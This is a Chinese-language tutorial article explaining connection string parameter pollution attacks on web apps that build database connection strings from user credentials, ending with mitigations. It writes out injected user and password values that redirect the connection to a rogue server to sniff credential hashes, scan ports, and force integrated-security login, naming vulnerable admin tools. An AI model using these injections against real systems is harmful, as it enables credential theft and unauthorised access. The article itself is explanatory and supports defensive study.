您好,登錄后才能下訂單哦!
如何分析CSPP連接字符串參數污染攻擊,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
SQL注入攻擊是最常見的注入攻擊方法,主要利用web應用調用數據庫查詢的實現缺陷來進行攻擊。
CSPP攻擊,顧名思義,則是通過利用應用程序連接到數據庫過程中設計缺陷來進行漏洞攻擊。
由于現在WEB應用數據查詢體系的發展方向,導致CSPP攻擊已經逐漸消失在大眾的目光下。
(Connection String Parameter PollutionAttacks 連接字符串參數污染攻擊)
典型的web應用程序的身份驗證系統有兩種實現結構:
1、創建自己的憑據認證系統 (目前常見于WEB應用)
2、將其委托給數據庫引擎(目前常見于內網應用)
在大多數情況下,應用程序開發人員選擇只使用一個用戶連接數據庫。
從數據庫端來看,這個數據庫用戶代表整個web應用程序,web應用程序將使用這一個數據庫連接,來實現對存儲應用程序的用戶身份憑證的自定義用戶表進行SQL查詢。
圖1.公共web應用程序身份驗證體系結構
Web應用程序管理登錄過程圖
1.Web應用程序使用它的憑據連接到數據庫
2.查詢用戶登錄信息
3.檢查存儲在用戶自定義表中的用戶登錄信息
web應用程序由一個數據庫用戶標識,該用戶可以訪問數據庫中的整個應用程序內容,因此,不可能在數據庫中的不同對象上實現粒度化的權限系統,或者跟蹤web應用程序中每個用戶的操作,只能將這些任務委托給web應用程序本身。 這種架構很常見,可以在廣泛使用的CMS系統中找到,如Joomla、Mambo和許多其他系統。通常情況下,攻擊者的目標是從數據庫中的users表中獲取應用程序用戶憑據。
另一種方法是將身份驗證委托給數據庫引擎,這樣連接字符串就不再包含一組固定的憑據,而是使用用戶輸入的憑據,并由數據庫引擎負責檢查它們。
數據庫管理程序經常使用這種委托身份驗證,以便連接到應用程序的用戶只能訪問和控制他擁有權限的對象和操作。有了這種架構,就可以實現一個細粒度的權限系統,并能夠在數據庫中跟蹤用戶的操作。
圖2.Web應用程序委托身份驗證體系結構。
數據庫引擎管理登錄過程
1.web應用要求輸入憑證
2.連接字符串由要連接到數據庫的輸入憑證組成
3.連接字符串中使用的用戶的決定著賬號的角色和權限
本文中描述的CSPP攻擊集中于第二種環境: 將身份驗證委托給數據庫引擎。
tips: 較久遠的內網客戶端應用常用第二種架構。
連接字符串被用于連接應用程序到數據庫引擎。
其中指定要連接的服務器和端口、數據庫名稱、身份驗證憑據和一些連接配置參數,如超時、替代數據庫、通信協議或加密選項。
一個用于連接到Microsoft SQL Server數據庫的普通連接字符串:
"Data Source=Server, Port; Network Library=DBMSSOCN;Initial Catalog=DataBase; User ID=Username; Password=pwd;"
如示例所示,連接字符串是由分號(;)分隔的參數集,每個參數是一個鍵值對。
無論SQL server是什么版本(7,2000,2005和2008),其中默認支持程序的連接字符串語法是相同的
在授權認證環境中,連接字符串注入技術允許攻擊者通過在參數后面附加分號(;)來注入參數。
在一個要求用戶輸入用戶名和密碼以創建連接字符串的示例中,攻擊者可以輸入密碼,例如"pwd;Encryption=off",產生的連接字符串如下:
"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd; Encryption=off"
填充連接字符串時,加密值將添加到前面配置的參數集中
參數污染技術用于覆蓋參數上的值。它們在HTTP[5]環境中是眾所周知的,但它們也適用于其他環境。在本例中,可以將參數污染技術應用于連接字符串中的參數,從而允許多種攻擊。
示例場景:
1、一個運行在Windows的IIS Web服務器上的web應用程序,
2、其中用戶認證時需要一個用戶[User_Value]和一個密碼[Password_Value]。
3、應用程序將用戶輸入的憑據用于創建到SQL Server數據庫的連接字符串,
如下所示:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=+' User_Value' + ; Password=+'Password Value' + ;
PS: integrated security 集成安全性
這個連接字符串顯示了應用程序如何連接到SQL Server數據庫引擎。
知道了這一點,攻擊者就可以執行連接字符串參數污染攻擊。
這種攻擊的思想是向連接字符串添加一個具有所需值的參數,而不管該參數是否已經存在于字符串中或已經設置的值中。
.net應用創建連接字符串時默認使用連接字符串中最后一次出現的參數的值。
即,如果連接字符串有兩個鍵為“Data Source”的參數,那么使用的值將是最后兩個對中的一個,這允許以下CSPP攻擊向量:
攻擊者可以在Internet放置一個用于監聽的欺詐SQL Server,并使用SQL Server憑證嗅探器監聽(在本例中使用了CAIN )。
攻擊者會進行如下CSPP攻擊:
User Value :Data Source = Rogue _ Server (欺詐服務器地址)
Password Value: Integrated Security true (集成安全性啟用)
PS: integrated security 集成安全性
正確拼接將生成以下連接字符串:
Data source SQL2005; initial catalog dbl; integrated security=no; user id=;Data Source=Rogue_Server; Password Integrated Security=true;
此時"Data Source"和"Integrated Security"參數被覆蓋,因此SQL Server本地驅動程序將使用最后一組值,而忽略前面的值。
此時,應用程序將嘗試使用運行的Windows憑據連接到欺詐服務器,該憑據可以是系統用戶,也可以是應用程序池用戶。此時通過在欺詐服務器嗅探,可以獲取到web應用所使用的憑據。
ASP.NETEnterprise Manager 是一個被遺棄的、不受支持的開源數據庫工具,通過web界面來管理SQL Server數據庫,這個工具還可以從SourceForge等網站上獲得。
圖3.利用CSPP竊取ASP.NET企業管理工具中的帳戶信息
圖4.在欺詐服務器中運行的Cain收集到HASH值
HASH竊取主要流程
1、構造鏈接,使得服務器向欺詐服務器發起攜帶默認認證信息的請求。
2、最終導致在應用將憑證發往安裝了數據庫連接嗅探器的欺詐服務器上,
3、嗅探器CAIN成功收集到了允許訪問該帳戶的LM哈希。
tips:現在可以使用其他的憑證嗅探工具,如respender
連接字符串上的一個有效參數是要連接到的端口。
攻擊者可以通過修改端口號嘗試連接到不同的端口,通過對比獲得的錯誤消息,從而實現掃描內部或外部網絡上的服務器:
注入輸入值:
User_Value: Data Source =Target_Server, Target _Port
Password Value: Integrated Security true
PS: integrated security 集成安全性
此種輸入將產生以下連接字符串:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password=; Integrated Security=true;
此連接字符串將忽略第一個“Data Source”參數,并將使用最后一個“Data Source”參數,這意味著web應用程序將嘗試連接到“Server”機器上的“Target Port”端口。
觀察返回的錯誤消息中的差異,從而可以執行端口掃描。
mylittleleadmin和myLittleBackup都是由myLittleTools開發的商業工具。這兩個工具在mylittleleadmin 3.5和myLittleBackup1.6版本之前都容易受到CSPP攻擊。
圖5 可以通過端口80建立到www.gooogle.com的連接
圖6 無法通過XX端口與www.google.com建立連接
端口掃描分析過程:
如圖5所示,當端口正在監聽(打開)時,獲得的錯誤消息說沒有Microsoft SQL Server正在監聽,但是成功建立了TCP連接。說明端口是開放的。
如圖6所示,當端口關閉時,TCP連接無法完成,錯誤消息是不同的。使用這些錯誤消息,可以在服務器上運行完整的TCP端口掃描。
攻擊者可以試圖通過使用web應用程序使用系統帳戶連接數據庫,而不需要用戶提供賬號密碼信息:
輸入值:
User Value: Data Source =Target_Server (目標服務器)
Password Value: Integrated Security true(啟用集成安全)
PS: integrated security 集成安全性
這些注入的值將產生以下連接字符串:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password Integrated Security=true;
這一次是主要用“True”值覆蓋的“integrated security”參數。
這意味著系統將嘗試使用工具正在運行的系統帳戶連接數據庫。
在本例中,這是web服務器中的web應用程序使用的系統帳戶。
PS: integrated security屬性請看附錄
發布在微軟網站上的SQL Server Web Data Administrator版本容易受到CSPP攻擊。
下面的截圖顯示了如何使用這種類型的攻擊訪問系統。
圖7.在WEB Data Administrator工具上利用憑據
圖8.使用服務器帳戶進行控制臺訪問
圖9系統帳戶訪問授權。
在圖7中,密碼值為如上所述的: integrated Security=true。
在圖8中,攻擊者可以登錄web應用程序來管理整個系統。
如圖9所示,漏洞原因是所有用戶和網絡服務都可以訪問服務器。
常規連接數據庫字符串示例:
string constr = "Data source=(local);initial catalog=data;integratedsecurity=true";
integratedsecurity=false (默認)
表示一定要輸入正確的數據庫登錄名和密碼,才能進行登錄認證。
integratedsecurity=true
表示可以在不知道數據庫用戶名和密碼的情況下時連接數據庫,利用當前應用憑據進行認證。
通過構造CSPP將integrated security 覆蓋為true,能夠實現HASH竊取,免密登錄等效果。
這些技術也適用于其他數據庫引擎,
如Oracle數據庫,它允許管理員在數據庫中設置集成的安全性。 此外,在Oracle連接字符串中,可以通過強制使用sysdba會話來改變用戶連接的方式。
MySQL數據庫不允許管理員配置集成的安全認證過程。然而,仍然有可能注入代碼和操作連接字符串,以嘗試連接到未向Internet公開的內部服務器。
各種數據庫的連接字符串
mysql "Server=localhost;Database=mytest;User=root;Password=;Port=3306;Charset=utf8" SQL Server "Database=MyData;DataSource=NICKYAN-PC;User Id=sa;Password=123123;" Oracle "DataSource=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;IntegratedSecurity=no" OleDB "Provider=Microsoft.Jet.OLEDB.4.0;DataSource=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"
追加
常規連接數據庫字符串示例:
string constr = "Data source=(local);initial catalog=data;integrated security=true"; PS: integrated security 集成安全性 Integrated security存在true和=false兩種可選參數 integrated security=false (默認)
表示一定要輸入正確的數據庫登錄名和密碼,才能進行登錄認證。
integrated security=true
表示可以在不知道數據庫用戶名和密碼的情況下時連接數據庫,利用當前應用憑據進行認證。
通過構造CSPP將integrated security 覆蓋為true,能夠實現HASH竊取,免密登錄等效果。
mysql
"Server=localhost;Database=mytest; User=root;Password=;Port=3306;Charset=utf8"
SQL Server
"Database=MyData;Data Source=NICKYAN-PC;User Id=sa;Password=123123;"
Oracle
"Data Source=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;Integrated Security=no"
OleDB
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"
微軟發布了ConnectionStringbuilder是避免這類攻擊,但并不是所有的項目都更新為使用這些新的安全組件。 為了避免這些攻擊,必須過濾掉分號字符,清除所有參數,并加強防火墻,以便不僅過濾入站連接,還防止來自向internet發送NTLM憑據的內部服務器的出站連接。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。